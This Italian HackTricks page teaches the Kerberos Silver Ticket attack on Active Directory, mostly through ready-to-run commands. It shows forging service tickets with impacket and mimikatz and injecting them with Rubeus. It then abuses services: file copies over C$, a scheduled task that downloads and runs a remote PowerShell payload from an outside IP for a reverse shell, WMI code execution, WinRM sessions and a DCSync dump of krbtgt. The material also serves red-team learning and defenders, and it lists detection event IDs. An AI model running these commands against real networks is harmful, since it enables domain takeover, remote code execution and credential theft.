Silver Ticket

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Consiglio per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!

Silver ticket

L'attacco Silver Ticket coinvolge lo sfruttamento dei ticket di servizio negli ambienti di Active Directory (AD). Questo metodo si basa sull'acquisizione dell'hash NTLM di un account di servizio, come ad esempio un account computer, per falsificare un Ticket Granting Service (TGS) ticket. Con questo ticket falsificato, un attaccante può accedere a servizi specifici sulla rete, impersonando qualsiasi utente, puntando tipicamente ai privilegi amministrativi. Si sottolinea che l'utilizzo delle chiavi AES per la falsificazione dei ticket è più sicuro e meno rilevabile.

Per la creazione dei ticket, vengono utilizzati diversi strumenti in base al sistema operativo:

Su Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Su Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Il servizio CIFS è evidenziato come un obiettivo comune per accedere al file system della vittima, ma altri servizi come HOST e RPCSS possono anche essere sfruttati per compiti e query WMI.

Servizi Disponibili

Tipo di ServizioTicket Silver per il Servizio

WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

A seconda del sistema operativo anche:

WSMAN

RPCSS

WinRM

HOST

HTTP

In alcuni casi è possibile richiedere direttamente: WINRM

Attività Pianificate

HOST

Condivisione File di Windows, anche psexec

CIFS

Operazioni LDAP, inclusa DCSync

LDAP

Strumenti di Amministrazione Remota del Server Windows

RPCSS

LDAP

CIFS

Ticket Golden

krbtgt

Utilizzando Rubeus è possibile richiedere tutti questi ticket utilizzando il parametro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

ID Eventi per i Ticket Silver

  • 4624: Accesso Account

  • 4634: Disconnessione Account

  • 4672: Accesso Amministratore

Abuso dei Ticket di Servizio

Nei seguenti esempi immaginiamo che il ticket sia ottenuto impersonando l'account amministratore.

CIFS

Con questo ticket sarà possibile accedere alle cartelle C$ e ADMIN$ tramite SMB (se sono esposte) e copiare file in una parte del file system remoto semplicemente eseguendo:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

HOST

Con questa autorizzazione è possibile generare attività pianificate in computer remoti ed eseguire comandi arbitrari:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Con questi biglietti puoi eseguire WMI nel sistema della vittima:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Trova ulteriori informazioni su wmiexec nella seguente pagina:

pageWmicExec

HOST + WSMAN (WINRM)

Con l'accesso winrm su un computer puoi accedervi e persino ottenere un PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Controlla la seguente pagina per apprendere ulteriori modi per connettersi con un host remoto utilizzando winrm:

pageWinRM

Nota che winrm deve essere attivo e in ascolto sul computer remoto per potervi accedere.

LDAP

Con questo privilegio puoi scaricare il database DC utilizzando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Scopri di più su DCSync nella seguente pagina:

Riferimenti

pageDCSync

Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated